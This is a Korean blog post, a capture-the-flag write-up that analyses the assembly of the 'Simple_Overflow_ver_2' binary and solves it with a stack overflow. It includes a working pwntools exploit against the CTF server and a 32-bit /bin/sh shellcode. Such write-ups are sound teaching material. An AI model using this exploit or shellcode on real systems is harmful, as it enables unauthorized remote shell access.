본문 바로가기

정보보안

[정보보안] Simple_Overflow_ver_2 해결과정

 

웬지 전혀 심플하지 않을 문제일것 같다.

 

 

프로그램 흐름이 조금 복잡하다. 일단 실행을 해봐야겠다.

문자열을 입력하면 주소와 함께 입력했던 문자들을 한글자씩 띄어쓰기 해서 보여주는것같다. (추측상으로 저 주소값은 문자열이 저장된 위치같다.) again에서 n을 답할때까지 계속 해주는것같다.

흐름은 다음과 같다.

 

 

1. 출력 버퍼 0으로 설정

 

1. "Data : " 출력 후 enter 입력 전까지 입력받음

2. int var_8 = 0

3. *esp = var_8; strlen(var_88)

4. if(ebx(=0) < strlen(var_88)) -> 초록색 화살표, 만약 길이가 0(입력이 없음)이면 빨간색 화살표

 

1. var_88 + var_8의 값이 저장된다. 즉, 문자열에서 (현재 반복횟수 - 1)에 해당하는 문자를 가리키고 있는 것이다.

2. 최종적으로는 eax가 가리키고 있는 공간의 1바이트에 해당하는 값이(char는 1바이트이므로 문자 하나로 추측 가능) eax에 저장된다.

3. 스택 최상단에 " %c"를 저장하고 그 아래칸에(+4) eax의 값이 저장되는데, 이렇게 되면 %c에는 var_8번 인덱스에 해당하는 문자가 %c에 들어간다.

4. cdq는 eax에 저장될 데이터를 edx까지 확장하겠다는 뜻인데 여기서 edx는 상위 4바이트를 저장하기 때문에 edx는 0으로 초기화된다. edx가 0인 상태로 eax를 더하고 빼는것은 의미가 없으므로, eax에는 계속 현재 인덱스가 담겨있다.

and에서는 eax를 하위 4비트만 빼고 다 날려버린다. 0Fh를 2진수로 바꾸면 1111이기 때문이다. 그리고 eax와 10진수 15를 비교해서 같으면(빨간색) 줄바꿈(putchar('\n')), 다르면(초록색)인덱스를 1 증가시킨다.(eax를 16으로 나눈 나머지가 15와 같은지 아닌지를 비교함)

 

 

and 연산 예시

 

참고로 나머지 연산은 여기서도 일어나고있다. eax가 16이 되면 2진수로 10000이 되므로 and 연산 결과는 0이된다. 따라서 인덱스가 0 및 16의 배수가 되면 빨간색 화살표를 따라가서 현재 주소값을 출력하게 된다.

 

 

프로그램 흐름은 복잡했지만 공격 방법은 버퍼오버플로우+쉘코드 삽입 두가지만 이용하면 수월하게 할 수 있을것 같다. 특별한 조건 없이 문자열 시작 주소를 알려주기 때문이다.

 

 [필요한것 구하기]

 

1. 문자열 시작주소

 

ASLR 기법이 적용될 것에 대비해서 구하는 코드가 따로 필요하다.

입력을 먼저 보내고, 그 다음줄 시작부터 주소값을 출력하는 형태라는것을 고려해준다.

 

<extract address>

#!/bin/python
from pwn import *

#extract hex address
p = process('./Simple_overflow_ver_2')
p.sendlineafter(': ', "AAAAAAAA")
byte = p.recvline().decode('utf-8')
s = byte[:10]
addr = int(s,16)

 

2. return address까지 거리

 

IDA에서 확인할 수 있다.

 

0x88+3만큼 떨어져 있으므로 139만큼 떨어져 있다.

 

3. 쉘코드

 

32비트라는걸 확인했으니 32비트 쉘코드를 사용하면 된다.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

 

[실행하기]

입력 형태도 다 정해졌다. 단, 입력을 해야만 주소가 공개되므로 한번은 아무정보나 입력한 후 주소가 공개된 뒤 again(y/n) 부분에서 y를 입력해서 사용자가 다시 한번 입력을 할 수 있도록 해야한다.

이 정보를 모아서 코드를 짜면

 

<exploit code>

#!/bin/python
from pwn import *


p = remote('ctf.j0n9hyun.xyz', 3006)
p.sendlineafter('Data : ', "AAAAAAAA")
byte = p.recvline().decode('utf-8')
s = byte[:10]
addr = int(s,16)
p.sendlineafter('(y/n):',b'y')

#send input
data = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
data += b"A" * 117
data += p32(addr)
p.sendlineafter('Data : ',data)
#switch to interactive
p.sendlineafter('(y/n):',b'n')
p.interactive()

AAAAAAA 입력 -> y 입력 -> data 입력 -> n 입력 순으로 이루어진다.

 

<결과>

 

[마무리]

 

성공!

 

공격 기법보다는 어셈블리어 해석에 더 집중해 보았다.

쉬프트 연산을 나누기 / 나머지 연산에 활용하는 방법을 알게된것이 가장 큰 의의였던것 같다.